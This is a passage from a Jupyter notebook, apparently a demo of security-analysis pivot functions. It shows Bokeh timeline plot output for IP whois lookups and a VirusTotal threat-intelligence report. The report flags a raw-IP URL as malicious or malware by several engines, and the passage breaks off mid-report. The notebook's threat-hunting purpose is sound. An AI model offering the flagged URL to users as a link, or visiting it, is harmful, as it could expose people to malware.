       "  function run_inline_js() {\n",
       "    \n",
       "    if (root.Bokeh !== undefined || force === true) {\n",
       "      \n",
       "    for (var i = 0; i < inline_js.length; i++) {\n",
       "      inline_js[i].call(root, root.Bokeh);\n",
       "    }\n",
       "    if (force === true) {\n",
       "        display_loaded();\n",
       "      }} else if (Date.now() < root._bokeh_timeout) {\n",
       "      setTimeout(run_inline_js, 100);\n",
       "    } else if (!root._bokeh_failed_load) {\n",
       "      console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n",
       "      root._bokeh_failed_load = true;\n",
       "    } else if (force !== true) {\n",
       "      var cell = $(document.getElementById(\"6201\")).parents('.cell').data().cell;\n",
       "      cell.output_area.append_execute_result(NB_LOAD_WARNING)\n",
       "    }\n",
       "\n",
       "  }\n",
       "\n",
       "  if (root._bokeh_is_loading === 0) {\n",
       "    console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n",
       "    run_inline_js();\n",
       "  } else {\n",
       "    load_libs(css_urls, js_urls, function() {\n",
       "      console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n",
       "      run_inline_js();\n",
       "    });\n",
       "  }\n",
       "}(window));"
      ],
      "application/vnd.bokehjs_load.v0+json": ""
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "  <div class=\"bk-root\" id=\"43673bea-df30-4814-81ac-76a37cabc79a\" data-root-id=\"6322\"></div>\n"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
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    {
     "data": {
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       "(function(root) {\n",
       "  function embed_document(root) {\n",
       "    \n",
       "  var docs_json = {\"722983a7-4cb7-4510-a77f-54eb1a2712b3\":{\"defs\":[],\"roots\":{\"references\":[{\"attributes\":{\"children\":[{\"id\":\"6208\"},{\"id\":\"6240\"}]},\"id\":\"6322\",\"type\":\"Column\"},{\"attributes\":{\"label\":{\"value\":\"MICROSOFT-CORP-MSN-AS-BLOCK, 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Selector\"},\"id\":\"6241\",\"type\":\"Title\"},{\"attributes\":{\"fill_color\":{\"value\":\"#22A784\"},\"line_color\":{\"value\":\"#22A784\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"6275\",\"type\":\"Circle\"},{\"attributes\":{},\"id\":\"6224\",\"type\":\"BasicTicker\"},{\"attributes\":{\"source\":{\"id\":\"6204\"}},\"id\":\"6273\",\"type\":\"CDSView\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"6362\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"6360\",\"type\":\"DaysTicker\"},{\"attributes\":{\"data\":{\"TimeGenerated\":{\"__ndarray__\":\"ACA2RSmld0I=\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[1]},\"index\":[2],\"y_index\":[3]},\"selected\":{\"id\":\"6339\"},\"selection_policy\":{\"id\":\"6338\"}},\"id\":\"6205\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"6361\",\"type\":\"DaysTicker\"},{\"attributes\":{},\"id\":\"6229\",\"type\":\"ResetTool\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#22A784\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#22A784\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"6276\",\"type\":\"Circle\"},{\"attributes\":{\"data_source\":{\"id\":\"6205\"},\"glyph\":{\"id\":\"6275\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"6276\"},\"view\":{\"id\":\"6278\"}},\"id\":\"6277\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"6363\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"data\":{\"TimeGenerated\":{\"__ndarray__\":\"AJC66ymld0I=\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[1]},\"index\":[4],\"y_index\":[0]},\"selected\":{\"id\":\"6333\"},\"selection_policy\":{\"id\":\"6332\"}},\"id\":\"6202\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"fill_color\":{\"value\":\"#79D151\"},\"line_color\":{\"value\":\"#79D151\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"6280\",\"type\":\"Circle\"},{\"attributes\":{\"source\":{\"id\":\"6205\"}},\"id\":\"6278\",\"type\":\"CDSView\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"6364\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"6365\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"fill_alpha\":0.2,\"fill_color\":\"navy\",\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[2,2],\"line_width\":0.5,\"syncable\":false},\"id\":\"6285\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#79D151\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#79D151\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"6281\",\"type\":\"Circle\"},{\"attributes\":{\"data_source\":{\"id\":\"6206\"},\"glyph\":{\"id\":\"6280\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"6281\"},\"view\":{\"id\":\"6283\"}},\"id\":\"6282\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"align\":\"right\",\"text\":\"Drag the middle or edges of the selection box to change the range in the main chart\",\"text_font_size\":\"10px\"},\"id\":\"6256\",\"type\":\"Title\"},{\"attributes\":{},\"id\":\"6366\",\"type\":\"YearsTicker\"},{\"attributes\":{\"source\":{\"id\":\"6206\"}},\"id\":\"6283\",\"type\":\"CDSView\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"6257\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#22A784\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#22A784\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"6311\",\"type\":\"Scatter\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"6289\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"6227\",\"type\":\"WheelZoomTool\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#440154\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#440154\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"6293\",\"type\":\"Scatter\"},{\"attributes\":{\"label\":{\"value\":\"HOTNET-IL AMS-IX Admin LAN, IL\"},\"renderers\":[{\"id\":\"6294\"}]},\"id\":\"6296\",\"type\":\"LegendItem\"},{\"attributes\":{\"data_source\":{\"id\":\"6205\"},\"glyph\":{\"id\":\"6310\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"6311\"},\"view\":{\"id\":\"6313\"}},\"id\":\"6312\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#440154\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#440154\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"6292\",\"type\":\"Scatter\"},{\"attributes\":{\"source\":{\"id\":\"6205\"}},\"id\":\"6313\",\"type\":\"CDSView\"},{\"attributes\":{\"data_source\":{\"id\":\"6202\"},\"glyph\":{\"id\":\"6292\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"6293\"},\"view\":{\"id\":\"6295\"}},\"id\":\"6294\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"source\":{\"id\":\"6202\"}},\"id\":\"6295\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"6339\",\"type\":\"Selection\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#79D151\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#79D151\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"6316\",\"type\":\"Scatter\"},{\"attributes\":{\"data\":{\"TimeGenerated\":{\"__ndarray__\":\"AFDTQimld0I=\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[1]},\"index\":[3],\"y_index\":[1]},\"selected\":{\"id\":\"6335\"},\"selection_policy\":{\"id\":\"6334\"}},\"id\":\"6203\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"source\":{\"id\":\"6206\"}},\"id\":\"6319\",\"type\":\"CDSView\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#79D151\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#79D151\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"6317\",\"type\":\"Scatter\"},{\"attributes\":{\"data_source\":{\"id\":\"6206\"},\"glyph\":{\"id\":\"6316\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"6317\"},\"view\":{\"id\":\"6319\"}},\"id\":\"6318\",\"type\":\"GlyphRenderer\"}],\"root_ids\":[\"6322\"]},\"title\":\"Bokeh Application\",\"version\":\"2.3.2\"}};\n",
       "  var render_items = [{\"docid\":\"722983a7-4cb7-4510-a77f-54eb1a2712b3\",\"root_ids\":[\"6322\"],\"roots\":{\"6322\":\"43673bea-df30-4814-81ac-76a37cabc79a\"}}];\n",
       "  root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n",
       "\n",
       "  }\n",
       "  if (root.Bokeh !== undefined) {\n",
       "    embed_document(root);\n",
       "  } else {\n",
       "    var attempts = 0;\n",
       "    var timer = setInterval(function(root) {\n",
       "      if (root.Bokeh !== undefined) {\n",
       "        clearInterval(timer);\n",
       "        embed_document(root);\n",
       "      } else {\n",
       "        attempts++;\n",
       "        if (attempts > 100) {\n",
       "          clearInterval(timer);\n",
       "          console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n",
       "        }\n",
       "      }\n",
       "    }, 10, root)\n",
       "  }\n",
       "})(window);"
      ],
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      "text/plain": [
       "Column(id='6322', ...)"
      ]
     },
     "execution_count": 36,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "IpAddress.whois(\r\n",
    "    logons_subset[[\"IPAddress\", \"AppDisplayName\", \"TimeGenerated\"]],\r\n",
    "    column=\"IPAddress\",\r\n",
    "    join=\"left\"\r\n",
    ").mp_timeline.plot(group_by=\"asn_description\")"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "The second example shows using the tilookup_url Url pivot function to check<br>\n",
    "Threat intelligence reports for a URL and using the output as input to the TIBrowser"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 37,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "application/vnd.jupyter.widget-view+json": {
       "model_id": "7a301dd8d3a5444480255f940d2d51ee",
       "version_major": 2,
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      "text/plain": [
       "VBox(children=(Text(value='', description='Filter:', style=DescriptionStyle(description_width='initial')), Sel…"
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     "output_type": "display_data"
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      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<h2 style='border: 1px solid;background-color: DarkGray; padding: 6px'>http://85.214.149.236:443/sugarcrm/themes/default/images/</h2><h3 style='background-color: SteelBlue; padding: 6px'>Type: 'url', Provider: VirusTotal, severity: high</h3><h4>Details</h4>\n",
       "<style>\n",
       "    .tb_ti_res {border-collapse: collapse; width: 60%; border: 1px solid #ddd !important;}\n",
       "    .cell_ti {border: 1px solid #ddd !important;\n",
       "        text-align: left !important; padding: 5px !important; height: 12px}\n",
       "    .cell_ti_first {border: 1px solid #ddd !important; width: 25%;\n",
       "        text-align: left !important; padding: 5px !important; height: 12px}\n",
       "</style>\n",
       "<table class='tb_ti_res'><tr class='cell_ti'><td class='cell_ti_first'>VirusTotal</td><tr class='cell_ti'><td class='cell_ti_first'>verbose_msg</td><td class='cell_ti'>Scan finished, scan information embedded in this object</td></tr><tr class='cell_ti'><td class='cell_ti_first'>response_code</td><td class='cell_ti'>1</td></tr><tr class='cell_ti'><td class='cell_ti_first'>positives</td><td class='cell_ti'>8</td></tr><tr class='cell_ti'><td class='cell_ti_first'>resource</td><td class='cell_ti'>http://85.214.149.236:443/sugarcrm/themes/default/images/</td></tr><tr class='cell_ti'><td class='cell_ti_first'>permalink</td><td class='cell_ti'>https://www.virustotal.com/gui/url/5cfb347b4631f015338e0c143de3b67926e7dc53b048e3dcc927d78bd0f40b55/detection/u-5cfb347b4631f015338e0c143de3b67926e7dc53b048e3dcc927d78bd0f40b55-1624240252</td></tr></tr></table><h4>Reference: </h4><a href='https://www.virustotal.com/vtapi/v2/url/report'>https://www.virustotal.com/vtapi/v2/url/report</a><br><hr><h4>Raw Results</h4>\n",
       "        <details>\n",
       "        <summary> <u>Raw results from provider...</u></summary>\n",
       "        <pre  style=\"font-size:11px\">{'filescan_id':&nbsp;None,<br>&nbsp;'permalink':&nbsp;'https://www.virustotal.com/gui/url/5cfb347b4631f015338e0c143de3b67926e7dc53b048e3dcc927d78bd0f40b55/detection/u-5cfb347b4631f015338e0c143de3b67926e7dc53b048e3dcc927d78bd0f40b55-1624240252',<br>&nbsp;'positives':&nbsp;8,<br>&nbsp;'resource':&nbsp;'http://85.214.149.236:443/sugarcrm/themes/default/images/',<br>&nbsp;'response_code':&nbsp;1,<br>&nbsp;'scan_date':&nbsp;'2021-06-21&nbsp;01:50:52',<br>&nbsp;'scan_id':&nbsp;'5cfb347b4631f015338e0c143de3b67926e7dc53b048e3dcc927d78bd0f40b55-1624240252',<br>&nbsp;'scans':&nbsp;{'ADMINUSLabs':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'AICC&nbsp;(MONITORAPP)':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'AegisLab&nbsp;WebGuard':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'AlienVault':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Antiy-AVL':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Armis':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Artists&nbsp;Against&nbsp;419':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'AutoShun':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'unrated&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Avira':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'BADWARE.INFO':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Baidu-International':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Bfore.Ai&nbsp;PreCrime':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'BitDefender':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'BlockList':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Blueliv':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'CINS&nbsp;Army':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'CLEAN&nbsp;MX':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'CMC&nbsp;Threat&nbsp;Intelligence':&nbsp;{'detected':&nbsp;False,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'CRDF':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Certego':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Cisco&nbsp;Talos&nbsp;IP&nbsp;Blacklist':&nbsp;{'detected':&nbsp;False,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Comodo&nbsp;Valkyrie&nbsp;Verdict':&nbsp;{'detected':&nbsp;False,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'CyRadar':&nbsp;{'detected':&nbsp;True,&nbsp;'result':&nbsp;'malicious&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Cyan':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'unrated&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'CyberCrime':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Cyren':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'DNS8':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Dr.Web':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'ESET':&nbsp;{'detected':&nbsp;True,&nbsp;'result':&nbsp;'malware&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'ESTsecurity-Threat&nbsp;Inside':&nbsp;{'detected':&nbsp;True,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'result':&nbsp;'malicious&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'EmergingThreats':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Emsisoft':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'EonScope':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Feodo&nbsp;Tracker':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Forcepoint&nbsp;ThreatSeeker':&nbsp;{'detected':&nbsp;False,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'result':&nbsp;'suspicious&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Fortinet':&nbsp;{'detected':&nbsp;True,&nbsp;'result':&nbsp;'malware&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'FraudScore':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'G-Data':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Google&nbsp;Safebrowsing':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'GreenSnow':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Hoplite&nbsp;Industries':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'IPsum':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'K7AntiVirus':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Kaspersky':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'unrated&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Lumu':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'unrated&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'MalBeacon':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'MalSilo':&nbsp;{'detected':&nbsp;False,&nbsp;'result':&nbsp;'clean&nbsp;site'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'MalwareDomainList':&nbsp;{'detail':&nbsp;'http://www.malwaredomainlist.com/mdl.php?search=85.214.149.236',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'detected':&nbsp;False,<br>&